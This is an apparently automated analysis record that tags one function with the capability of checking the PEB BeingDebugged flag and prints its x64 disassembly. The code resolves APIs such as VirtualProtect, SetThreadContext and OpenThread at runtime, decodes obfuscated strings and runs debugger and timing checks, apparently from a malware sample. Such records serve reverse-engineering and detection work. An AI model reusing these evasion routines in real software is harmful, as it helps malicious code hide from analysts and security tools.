Function at 0x4074b0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
sub rsp, 0x38
movaps xmmword [rsp + 0x20], xmm6
mov eax, 0x10
mov r8, qword [rcx + 0x18]
mov r9, qword [r8 + 8]
test r9, r9
je 0x407478
mov rax, r9
add r9, 0xf
neg rax
and rax, r9
mov r10, rdx
imul r10, qword [r8]
jo 0x4074a4
add rax, r10
jo 0x4074a4
movq xmm6, rdx
mov rdx, rax
call fcn.00404110
punpcklqdq xmm6, xmm6
movups xmmword [rax], xmm6
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
ret
call fcn.004073b0
nop
nop word [rax + rax]
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rdx, qword [0x0041e5f0]
mov rax, qword [rdx]
cmp rax, 0xdab
jg 0x40804d
mov rcx, qword [0x0041e5e0]
lea r8, [rax + 1]
lea rdi, [0x0040d210]
cmp r8, 0xdac
mov qword [rdx], r8
mov qword [rcx + rax*8], rdi
je 0x40804d
lea rdi, [0x0040d200]
mov qword [rcx + r8*8], rdi
lea r8, [rax + 2]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40804d
lea rdi, [0x0040d1e0]
mov qword [rcx + r8*8], rdi
lea r8, [rax + 3]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40804d
lea rsi, [0x0040d1d0]
mov qword [rcx + r8*8], rsi
lea r8, [rax + 4]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40804d
lea rdi, [0x0040d1c0]
mov qword [rcx + r8*8], rdi
lea r8, [rax + 5]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40804d
lea rsi, [0x0040d1b0]
mov qword [rcx + r8*8], rsi
lea r8, [rax + 6]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40804d
lea rdi, [0x0040d1a0]
mov qword [rcx + r8*8], rdi
lea r8, [rax + 7]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40804d
lea rsi, [0x0040d190]
mov qword [rcx + r8*8], rsi
lea r8, [rax + 8]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40804d
lea rdi, [0x0040d180]
mov qword [rcx + r8*8], rdi
lea r8, [rax + 9]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40804d
lea rbx, [0x0040d170]
mov qword [rcx + r8*8], rbx
lea r8, [rax + 0xa]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40804d
lea rsi, [0x0040d160]
mov qword [rcx + r8*8], rsi
lea r8, [rax + 0xb]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40804d
lea rdi, [0x0040d150]
add rax, 0xc
mov qword [rsp + 0x20], 0
mov qword [rdx], rax
mov rax, qword [0x0041e0b0]
lea rsi, [rsp + 0x28]
mov qword [rcx + r8*8], rdi
lea rcx, [0x00421140]
call qword [rax]
mov rcx, rsi
mov qword [rsp + 0x28], 0
movsxd rdx, eax
call fcn.00406260
mov rax, qword [rsp + 0x28]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rax
call fcn.0040f740
mov eax, dword [0x00421144]
cmp eax, 6
je 0x407d00
cmp eax, 5
jg 0x4076a2
mov rax, qword [0x0041e6e0]
mov dword [rax], 1
lea rcx, [0x0041b8a0]
mov edx, 0x52525506
call fcn.00404080
mov edx, 0x196799c6
mov rcx, rax
call fcn.004042d0
lea rcx, [0x00421130]
mov rdx, rax
call fcn.004060a0
mov rbx, qword [0x00421128]
mov rcx, qword [0x00421130]
call fcn.004020e0
test rbx, rbx
mov qword [0x00421128], rax
je 0x407708
mov rax, qword [rbx - 0x10]
lea rdx, [rbx - 0x10]
sub rax, 8
cmp rax, 7
mov qword [rbx - 0x10], rax
jbe 0x407d30
mov rcx, qword [0x0041e2c0]
mov edx, 0x123
call fcn.00407450
mov r8d, 0x123
lea rcx, [rax + 0x10]
mov rbx, rax
lea rdx, [0x0041b770]
call sub.msvcrt.dll_memcpy
mov rcx, qword [0x0041e5b0]
mov rdx, rbx
call fcn.004060a0
mov rax, qword [0x0041e5b0]
xor edx, edx
mov rax, qword [rax]
test rax, rax
je 0x407755
mov rdx, qword [rax]
mov rcx, qword [0x0041e2c0]
call fcn.00407450
lea rcx, [0x00421120]
mov rdx, rax
call fcn.004060a0
mov edx, 0x17fa6da2
lea rcx, [0x0041b640]
call fcn.00404080
mov edx, 0x3900d186
mov rcx, rax
call fcn.004042d0
lea rcx, [0x00421118]
mov rdx, rax
call fcn.004060a0
mov edx, 0x153a2b62
lea rcx, [0x0041b5e0]
call fcn.00404080
mov edx, 0x3c3bb2c6
mov rcx, rax
call fcn.004042d0
lea rcx, [0x00421110]
mov rdx, rax
call fcn.004060a0
mov edx, 0x4c924b46
lea rcx, [0x0041b520]
call fcn.00404080
mov edx, 0x17fa6da2
mov rcx, rax
call fcn.004042d0
lea rcx, [0x00421108]
mov rdx, rax
call fcn.004060a0
mov edx, 0xa6c2286
lea rcx, [0x0041b480]
call fcn.00404080
mov edx, 0x153a2b62
mov rcx, rax
call fcn.004042d0
lea rcx, [0x00421100]
mov rdx, rax
call fcn.004060a0
lea rcx, [0x0041b460]
call fcn.00405120
xor edx, edx
mov rcx, rax
call fcn.00404b70
lea rdx, str.LdrLoadDll
mov rcx, rax
call fcn.00410e80
mov rdx, qword [0x0041e1e0]
lea rcx, [0x0041b460]
mov qword [rdx], rax
call fcn.00405120
xor edx, edx
mov rcx, rax
call fcn.00404b70
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call fcn.00410e80
mov rdx, qword [0x0041e1f0]
lea rcx, [0x0041b380]
mov qword [rdx], rax
mov edx, 0x6e1b1446
call fcn.00404080
mov edx, 0x420e28a2
mov rcx, rax
call fcn.004042d0
lea rcx, [0x004210f8]
mov rdx, rax
call fcn.004060a0
call fcn.0040fad0
mov rcx, rax
call fcn.00411560
lea rdx, str.GetCurrentProcessId
mov rcx, rax
call fcn.004111f0
mov qword [0x004210f0], rax
call fcn.0040fad0
mov rcx, rax
call fcn.00411560
lea rdx, str.VirtualProtect
mov rcx, rax
call fcn.004111f0
mov rdx, qword [0x0041e210]
mov qword [rdx], rax
call fcn.0040fad0
mov rcx, rax
call fcn.00411560
lea rdx, [0x00419172]
mov rcx, rax
call fcn.004111f0
call fcn.0040fad0
mov rcx, rax
call fcn.00411560
lea rdx, [0x0041917e]
mov rcx, rax
call fcn.004111f0
mov qword [0x004210e8], rax
call fcn.0040fad0
mov rcx, rax
call fcn.00411560
lea rdx, str.GetProcAddress
mov rcx, rax
call fcn.004111f0
lea rcx, [0x0041b460]
mov qword [0x004210e0], rax
call fcn.00405120
mov rcx, rax
call fcn.00411560
lea rdx, str.RtlAddVectoredExceptionHandler
mov rcx, rax
call fcn.00410e80
mov qword [0x004210d8], rax
call fcn.0040fad0
mov rcx, rax
call fcn.00411560
lea rdx, str.GetModuleHandleA
mov rcx, rax
call fcn.004111f0
mov qword [0x004210d0], rax
call fcn.0040fad0
mov rcx, rax
call fcn.00411560
lea rdx, [0x004191d0]
mov rcx, rax
call fcn.004111f0
mov qword [0x004210c8], rax
call fcn.0040fad0
mov rcx, rax
call fcn.00411560
lea rdx, str.SetThreadContext
mov rcx, rax
call fcn.004111f0
mov qword [0x004210c0], rax
call fcn.0040fad0
mov rcx, rax
call fcn.00411560
lea rdx, str.CloseHandle
mov rcx, rax
call fcn.004111f0
mov qword [0x004210b8], rax
call fcn.0040fad0
mov rcx, rax
call fcn.00411560
lea rdx, str.OpenThread
mov rcx, rax
call fcn.004111f0
mov qword [0x004210b0], rax
call fcn.0040fad0
mov rcx, rax
call fcn.00411560
lea rdx, str.GetCurrentThreadId
mov rcx, rax
call fcn.004111f0
call fcn.0040fad0
mov rcx, rax
call fcn.00411560
lea rdx, str.WaitForSingleObject
mov rcx, rax
call fcn.004111f0
mov rdx, qword [0x0041e220]
mov qword [rdx], rax
call fcn.0040fad0
mov rcx, rax
call fcn.00411560
lea rdx, [0x00419230]
mov rcx, rax
call fcn.004111f0
call fcn.0040fad0
mov rcx, rax
call fcn.00411560
lea rdx, str.Sleep
mov rcx, rax
call fcn.004111f0
mov rbx, qword [0x0041e200]
mov qword [rbx], rax
call fcn.0040fad0
mov rcx, rax
call fcn.00411560
lea rdx, str.GetTickCount
mov rcx, rax
call fcn.004111f0
mov qword [0x004210a8], rax
call fcn.0040fad0
mov rcx, rax
call fcn.00411560
lea rdx, str.CreateFileA
mov rcx, rax
call fcn.004111f0
mov qword [0x004210a0], rax
call fcn.0040fad0
mov rcx, rax
call fcn.00411560
lea rdx, str.GetFileSize
mov rcx, rax
call fcn.004111f0
lea rcx, [0x0041b460]
mov qword [0x00421098], rax
call fcn.00405120
xor edx, edx
mov rcx, rax
call fcn.00404b70
lea rdx, str.RtlAllocateHeap
mov rcx, rax
call fcn.00410e80
mov qword [0x00421090], rax
call fcn.0040fad0
mov rcx, rax
call fcn.00411560
lea rdx, str.ReadFile
mov rcx, rax
call fcn.004111f0
mov rcx, qword [0x0041e350]
mov edx, 0x4249d5e2
mov qword [0x00421088], rax
call fcn.00404080
mov edx, 0x7e55a246
mov rcx, rax
call fcn.004042d0
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 0
jne 0x407cd0
call qword [0x004210e8]
mov rsi, rax
call qword [0x004210e8]
cmp dword [rsi + 0x70], 2
jne 0x407d50
mov eax, dword [rax + 0x74]
test eax, eax
jne 0x407d50
call fcn.004060f0
test al, al
je 0x407c73
mov rax, qword [0x0041df60]
lea rdx, [0x00401550]
mov ecx, 1
call qword [rax]
mov rax, qword [0x0041df80]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x80000003
call qword [rax]
mov rax, qword [0x0041df70]
lea rcx, [0x00401550]
call qword [rax]
lea rcx, [0x0041b350]
mov edx, 0x684bdc6
call fcn.00404080
xor ecx, ecx
mov rsi, rax
mov rax, qword [0x00421130]
test rax, rax
je 0x407c31
mov rcx, qword [rax]
test rsi, rsi
je 0x408030
add rcx, qword [rsi]
call fcn.00404290
mov rdx, qword [0x00421130]
mov rdi, rax
test rdx, rdx
je 0x407c59
mov rcx, rax
call fcn.0040fb90
mov rdx, rsi
mov rcx, rdi
call fcn.0040fb90
lea rcx, [0x00421128]
mov rdx, rdi
call fcn.004060a0
lea rcx, [0x0041b1c0]
mov edx, 0x3e6e1906
call fcn.00404080
mov edx, 0x261aa122
mov rcx, rax
call fcn.004042d0
lea rcx, [0x00421080]
mov rdx, rax
call fcn.004060a0
call qword [0x004210a8]
mov ecx, 0x5dc
mov esi, eax
call qword [rbx]
call qword [0x004210a8]
sub eax, esi
cmp eax, 0x513
jg 0x407d60
xor ecx, ecx
call sub.msvcrt.dll_exit
nop dword [rax]
lea rcx, [0x0041ae40]
mov edx, 0x3b22486
mov qword [rsp + 0x28], 0
call fcn.00404080
mov rcx, rsi
mov qword [rsp + 0x28], rax
call fcn.0040f740
xor ecx, ecx
call sub.msvcrt.dll_exit
nop
mov eax, dword [0x00421148]
cmp eax, 2
je 0x407695
cmp eax, 3
je 0x407695
test eax, eax
je 0x407695
cmp eax, 1
je 0x407695
jmp 0x4076a2
mov rcx, qword [0x0041e5d0]
add rcx, 0x18
call fcn.00405fe0
jmp 0x407708
mov ecx, 1
call sub.msvcrt.dll_exit
nop word [rax + rax]
lea rcx, [0x0041ae60]
mov edx, 0x4d516462
call fcn.00404080
xor ecx, ecx
mov rbx, rax
mov rax, qword [0x00421128]
test rax, rax
je 0x407d85
mov rcx, qword [rax]
test rbx, rbx
je 0x408010
add rcx, qword [rbx]
call fcn.00404290
mov rdx, qword [0x00421128]
mov rsi, rax
test rdx, rdx
je 0x407dad
mov rcx, rax
call fcn.0040fb90
mov rdx, rbx
mov rcx, rsi
call fcn.0040fb90
lea rcx, [0x00421128]
mov rdx, rsi
call fcn.004060a0
mov edx, 0x19210646
lea rcx, [0x0041af00]
call fcn.00404080
mov edx, 0x1deba886
mov rcx, rax
call fcn.004042d0
mov rcx, rax
call fcn.00405d90
mov rbx, qword [0x0041e0c0]
mov rcx, rax
call qword [rbx]
lea rcx, [0x0041aec0]
mov edx, 0x6c14d586
call fcn.00404080
mov edx, 0x3903e1c6
mov rcx, rax
call fcn.004042d0
mov edx, 0x2acc21e2
lea rcx, [0x0041ae80]
mov rsi, rax
call fcn.00404080
mov edx, 0x71c6aa2
mov rcx, rax
call fcn.004042d0
mov rcx, rsi
mov rdi, rax
call fcn.00405d90
mov rcx, rax
call qword [rbx]
cmp eax, 0xffffffff
je 0x407ff0
mov rax, qword [0x0041e0d0]
xor edx, edx
mov ecx, 0x1000
movabs r8, 0xffffffff1
call qword [rax]
test rax, rax
jne 0x407f70
lea rcx, [0x0041b0a0]
mov edx, 0x628ada06
call fcn.00404080
mov edx, 0x6d6e6a46
mov rcx, rax
call fcn.004042d0
lea rcx, [0x00421078]
mov rdx, rax
call fcn.004060a0
mov edx, 0x56debb06
lea rcx, [0x0041b080]
call fcn.00404080
mov edx, 0x414d1e06
mov rcx, rax
call fcn.004042d0
lea rcx, [0x004190a1]
test rax, rax
je 0x407ed7
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
call qword [0x004210d0]
mov edx, 0x46a06a62
lea rcx, [0x0041b040]
mov rbx, rax
call fcn.00404080
mov edx, 0x52664362
mov rcx, rax
call fcn.004042d0
lea rdx, [0x004190a1]
test rax, rax
je 0x407f16
cmp qword [rax], 0
lea rcx, [rax + 0x10]
cmovne rdx, rcx
mov rcx, rbx
call qword [0x004210e0]
mov qword [0x00421070], rax
call fcn.00412080
call fcn.00412080
mov edx, 0x52664362
lea rcx, [0x0041af80]
call fcn.00404080
mov edx, 0x2fa37222
mov rcx, rax
call fcn.004042d0
lea rcx, [0x00421068]
mov rdx, rax
call fcn.004060a0
nop
add rsp, 0x30
pop rbx
pop rsi
pop rdi
ret
lea rcx, [0x0041af60]
mov edx, 0x25a399a2
call fcn.00404080
mov edx, 0x56bcf062
mov rcx, rax
call fcn.004042d0
lea rcx, [0x00421130]
mov rdx, rax
call fcn.004060a0
mov rbx, qword [0x00421128]
mov rcx, qword [0x00421130]
call fcn.004020e0
test rbx, rbx
mov qword [0x00421128], rax
je 0x407e74
mov rax, qword [rbx - 0x10]
lea rdx, [rbx - 0x10]
sub rax, 8
cmp rax, 7
mov qword [rbx - 0x10], rax
ja 0x407e74
mov rcx, qword [0x0041e5d0]
add rcx, 0x18
call fcn.00405fe0
jmp 0x407e74
mov rcx, rdi
call fcn.00405d90
mov rcx, rax
call qword [rbx]
jmp 0x407e51
call fcn.00404290
mov rdx, qword [0x00421128]
mov rsi, rax
test rdx, rdx
jne 0x407db0
jmp 0x407db8
call fcn.00404290
mov rdx, qword [0x00421130]
mov rdi, rax
test rdx, rdx
jne 0x407c5c
jmp 0x407c64
call fcn.00401d20
nop
nop dword [rax]
nop word cs:[rax + rax]